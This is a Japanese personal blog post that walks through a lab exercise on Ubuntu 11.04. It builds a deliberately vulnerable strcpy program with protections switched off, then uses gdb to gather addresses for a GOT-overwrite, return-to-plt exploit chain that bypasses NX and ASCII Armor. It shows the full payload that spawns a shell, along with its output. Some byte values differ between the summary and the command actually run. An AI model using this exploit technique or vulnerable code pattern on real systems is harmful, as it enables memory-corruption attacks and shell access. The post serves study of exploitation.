とみふらの明るく楽しい日記

日記や俺用メモなどなんでもあり。

GOT overwriting と return-to-plt を使ってNX-bitとASCII Armorを回避してみた

環境:Ubuntu 11.04

NX-bitなんかreturn-to-libcを使えば簡単に回避できるんだろうと思っていたんだけど、実際にやってみようとしたところ、ASCII Armorというのがあって実は一筋縄には行かない。

ASCII Armor:libcなどの共有ライブラリをNULL byteを含むアドレスに置く。これによって単純にreturn-to-libcを行うようなコードを注入できなくなる。

とりあえずこのチュートリアルに沿ってやっていけばできるはず。詳しくはこれを見てください。
http://sickness.tor.hu/?p=378
GOTとPLTがわからん人はここを見るといいかも知れません。わしも知らんけどな。
http://d.hatena.ne.jp/yupo5656/20060618/p1


使用した脆弱なコードはこれ。これを攻撃する。
vuln_nx.c

#include <stdio.h>

int main(int argc, char *argv[]){
  char buffer[500];
  strcpy(buffer, argv[1]);
  printf(" buffer is %s\n", buffer);
  return 0;
}

コンパイルは次のように行う。

gcc -ggdb -fno-stack-protector -z norelro -o vuln_nx vuln_nx.c
  • ggdb: gdb用のデバッグ情報をつける。不要だと思うならつけなくても良いんじゃなイカ
  • fno-stack-protector: Stack Smashing Protector を解除
  • z norelro: RELROとかいうのを付けない。よく知らんけど。こうするとGOTを書き換えられるようになる。

チュートリアルによると

JUNK + strcpy@plt + pop pop ret + GOT_of_puts[0] + address of byte[1] +
strcpy@plt + pop pop ret + GOT_of_puts[1] + address of byte[2]+
strcpy@plt + pop pop ret + GOT_of_puts[2] + address of byte[3]+
strcpy@plt + pop pop ret + GOT_of_puts[3] + address of byte[4]+
PLT_of_puts + JUNK (insted of exit()) + address of /bin/bash

って感じの引数を先の脆弱なプログラムに入れればシェル起動できるらしい。
しかし、コード中でputs使ってないせいか、putsのplt見つからない。
なので、代わりにprintfのpltを使った。
つまり私の場合は、

JUNK + strcpy@plt + pop pop ret + GOT_of_printf[0] + address of byte[1] +
strcpy@plt + pop pop ret + GOT_of_printf[1] + address of byte[2]+
strcpy@plt + pop pop ret + GOT_of_printf[2] + address of byte[3]+
strcpy@plt + pop pop ret + GOT_of_printf[3] + address of byte[4]+
PLT_of_printf + JUNK (insted of exit()) + address of /bin/bash

というわけでそれぞれのアドレス調べる。


A. strcpy@plt と printf@plt
main関数ディスアセンブルすればすぐわかる。

(gdb) disas main
Dump of assembler code for function main:
   0x080483d4 <+0>:     push   %ebp
   0x080483d5 <+1>:     mov    %esp,%ebp
   0x080483d7 <+3>:     and    $0xfffffff0,%esp
   0x080483da <+6>:     sub    $0x210,%esp
   0x080483e0 <+12>:    mov    0xc(%ebp),%eax
   0x080483e3 <+15>:    add    $0x4,%eax
   0x080483e6 <+18>:    mov    (%eax),%eax
   0x080483e8 <+20>:    mov    %eax,0x4(%esp)
   0x080483ec <+24>:    lea    0x1c(%esp),%eax
   0x080483f0 <+28>:    mov    %eax,(%esp)
   0x080483f3 <+31>:    call   0x80482f4 <strcpy@plt>
   0x080483f8 <+36>:    mov    $0x80484e0,%eax
   0x080483fd <+41>:    lea    0x1c(%esp),%edx
   0x08048401 <+45>:    mov    %edx,0x4(%esp)
   0x08048405 <+49>:    mov    %eax,(%esp)
   0x08048408 <+52>:    call   0x8048304 <printf@plt>
   0x0804840d <+57>:    mov    $0x0,%eax
   0x08048412 <+62>:    leave  
   0x08048413 <+63>:    ret    
End of assembler dump.

というわけで、
strcpy@plt = 0x080482f4 → "\xf4\x82\x04\x08"
PLT_of_printf = 0x08048304 → "\x04\x83\x04\x08"


B. pop pop ret
pop pop retを見つけるにはmetasploit frameworkのmsfelfscanというスクリプトを使うとよろしいらしい。
metasploitを入れてない人は
http://www.metasploit.com/download/
からダウンロードしてインストールしよう。
わしはFull Setupのほう入れた。

chmod +x framework-3.*-linux-full.run
sudo ./framework-3.*-linux-full.run

ruby入れてない人はrubyも入れよう。そうしないと動かないと思われ。
入れたら、

(gdb) shell /opt/framework-3.7.2/msf3/msfelfscan -p vuln_nx
[vuln_nx]
0x080483a2 pop ebx; pop ebp; ret
0x08048477 pop edi; pop ebp; ret
0x080484b7 pop ebx; pop ebp; ret

というわけで、
pop pop ret = 0x080484b7 → "\xb7\x84\x04\x08"


C. GOT_of_printf
printf@pltは0x08048304なので、そこをディスアセンブルする。

(gdb) disas 0x08048304
Dump of assembler code for function printf@plt:
   0x08048304 <+0>:     jmp    *0x80495ec
   0x0804830a <+6>:     push   $0x18
   0x0804830f <+11>:    jmp    0x80482c4
End of assembler dump.

よって、
GOT_of_printf = 0x080495ec
GOT_of_printf[0] = 0x080495ec →"\xec\x95\x04\x08"
GOT_of_printf[1] = 0x080495ed →"\xed\x95\x04\x08"
GOT_of_printf[2] = 0x080495ee →"\xee\x95\x04\x08"
GOT_of_printf[3] = 0x080495ef →"\xef\x95\x04\x08"


D. address of /bin/bash
環境変数から借りてくる。
スタックのデータをどんどん文字列として表示してくと見つかる。

(gdb) x/4000s $esp
0xbfffec6c:      "BBBB"
0xbfffec71:      ""
0xbfffec72:      ""
0xbfffec73:      ""
0xbfffec74:      "\024\355\377\277 \355\377\277\024\344\022"
0xbfffec80:      "\377\377\377\377\364\317\022"
0xbfffec88:      "#\202\004\b\001"
0xbfffec8e:      ""
0xbfffec8f:      ""
(略)
0xbfffee90:      ""
0xbfffee91:      ""
0xbfffee92:      ""
0xbfffee93:      "/home/ubuntu/bof/vuln_nx"
0xbfffeeab:      'A' <repeats 200 times>...
0xbfffef73:      'A' <repeats 200 times>...
0xbffff03b:      'A' <repeats 112 times>, "BBBB"
0xbffff0b0:      "ORBIT_SOCKETDIR=/tmp/orbit-ubuntu"
0xbffff0d1:      "SSH_AGENT_PID=1699"
0xbffff0e4:      "TERM=screen"
0xbffff0f0:      "SHELL=/bin/bash"

あった。

(gdb) x/s 0xbffff0f6
0xbffff0f6:      "/bin/bash"

address of /bin/bash = 0xbffff0f6 → "\xf6\x0f\xff\xbf"


E. system()
system関数のアドレス探す。

(gdb) p system
$10 = {<text variable, no debug info>} 0x168950 <__libc_system>

system = 0x00168950
byte[1] = 0x00
byte[2] = 0x16
byte[3] = 0x89
byte[4] = 0x50

これらのデータをどっかから拝借する。

(gdb) find /b /2 0x08048114, 0x08049600, 0x00
0x8048126
0x8048127
2 patterns found.
(gdb) find /b /2 0x08048114, 0x08049600, 0x16
Pattern not found.
(gdb) find /b /2 0x08048114, 0x08049600, 0x89
0x804816b
0x8048295 <_init+1>
2 patterns found.
(gdb) find /b /2 0x08048114, 0x08049600, 0x50
0x8048328 <_start+8>
0x8048cd4
2 patterns found.

0x16だけ見つからない。
でも実は0x00以外はJUNKとかの適当な場所に入れとけばいい。
ということで
0x16は0xbfffec68にあたる場所に入れとくこととする。

address of byte[1] = 0x08048126 → "\x26\x81\x04\x08"
address of byte[2] = 0xbfffec68 → "\x68\xec\xff\xbf"
address of byte[3] = 0x0804816b → "\x6b\x81\x04\x08"
address of byte[4] = 0x08048328 → "\x28\x83\x04\x08"


まとめると、
strcpy@plt = 0x080482f4 → "\xf4\x82\x04\x08"
PLT_of_printf = 0x08048304 → "\x04\x83\x04\x08"
pop pop ret = 0x080484b7 → "\xb7\x84\x04\x08"
GOT_of_printf[0] = 0x080495ec →"\xec\x95\x04\x08"
GOT_of_printf[1] = 0x080495ed →"\xed\x95\x04\x08"
GOT_of_printf[2] = 0x080495ee →"\xee\x95\x04\x08"
GOT_of_printf[3] = 0x080495ef →"\xef\x95\x04\x08"
address of /bin/bash = 0xbffff0f6 → "\xf6\x0f\xff\xbf"
address of byte[1] = 0x08048126 → "\x26\x81\x04\x08"
address of byte[2] = 0xbfffec68 → "\x68\xec\xff\xbf"
address of byte[3] = 0x0804816b → "\x6b\x81\x04\x08"
address of byte[4] = 0x08048328 → "\x28\x83\x04\x08"

これを

JUNK + strcpy@plt + pop pop ret + GOT_of_printf[0] + address of byte[1] +
strcpy@plt + pop pop ret + GOT_of_printf[1] + address of byte[2]+
strcpy@plt + pop pop ret + GOT_of_printf[2] + address of byte[3]+
strcpy@plt + pop pop ret + GOT_of_printf[3] + address of byte[4]+
PLT_of_printf + JUNK (insted of exit()) + address of /bin/bash

に入れると

"\x41" * 508 + "\x16" * 4 + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xec\x95\x04\x08" + "\x28\x83\x04\x08" +
"\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xed\x95\x04\x08" + "\x6b\x81\x04\x08" +
"\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xee\x95\x04\x08" + "\x68\xec\xff\xbf" +
"\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xef\x95\x04\x08" +  "\x26\x81\x04\x08" +
"\x04\x83\x04\x08" + "\x41" * 4 + "\xf6\xf0\xff\xbf"

これを引数に入れて実行

(gdb) run $(python -c 'print "\x41" * 508 + "\x16" * 4 + "\xf4\x82\x04\x08" + "\xb7\x8
4\x04\x08" + "\xec\x95\x04\x08" + "\x28\x83\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\
x04\x08" + "\xed\x95\x04\x08" + "\x6b\x81\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\x0
4\x08" + "\xee\x95\x04\x08" + "\x1c\xec\xff\xbf" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\
x08" + "\xef\x95\x04\x08" +  "\x26\x81\x04\x08" + "\x04\x83\x04\x08" + "\x41" * 4 + "\
xf6\xf0\xff\xbf" ')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/vmken/bof/vuln_nx $(python -c 'print "\x41" * 508 + "\x16" * 4 + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xec\x95\x04\x08" + "\x28\x83\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xed\x95\x04\x08" + "\x6b\x81\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xee\x95\x04\x08" + "\x1c\xec\xff\xbf" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xef\x95\x04\x08" +  "\x26\x81\x04\x08" + "\x04\x83\x04\x08" + "\x41" * 4 + "\xf6\xf0\xff\xbf" ')
 buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#65533;(&#65533;k&#65533;&#65533;&#65533;&#65533;&#65533;&AAAA&#65533;&#65533;&#65533;&#65533;
ubuntu@ubuntu:~/bof$ exit
exit  

Program received signal SIGSEGV, Segmentation fault.
0x001685e9 in do_system (line=0xbffff0f6 "/bin/bash")
    at ../sysdeps/posix/system.c:175
175     ../sysdeps/posix/system.c: No such file or directory.
        in ../sysdeps/posix/system.c
(gdb)

bash起動したヾ(@⌒ー⌒@)ノ
なんかほとんどハマることなくできてしまって拍子抜け。


色々細かいので間違ってたらすいません

ちなみにgdb上で実行してるプログラムはデフォでASLR無効になってるみたいですな。

(gdb) set disable-randomization off

すると有効になりますぞ。もちろんこの手法だと攻撃できなくなりますけど。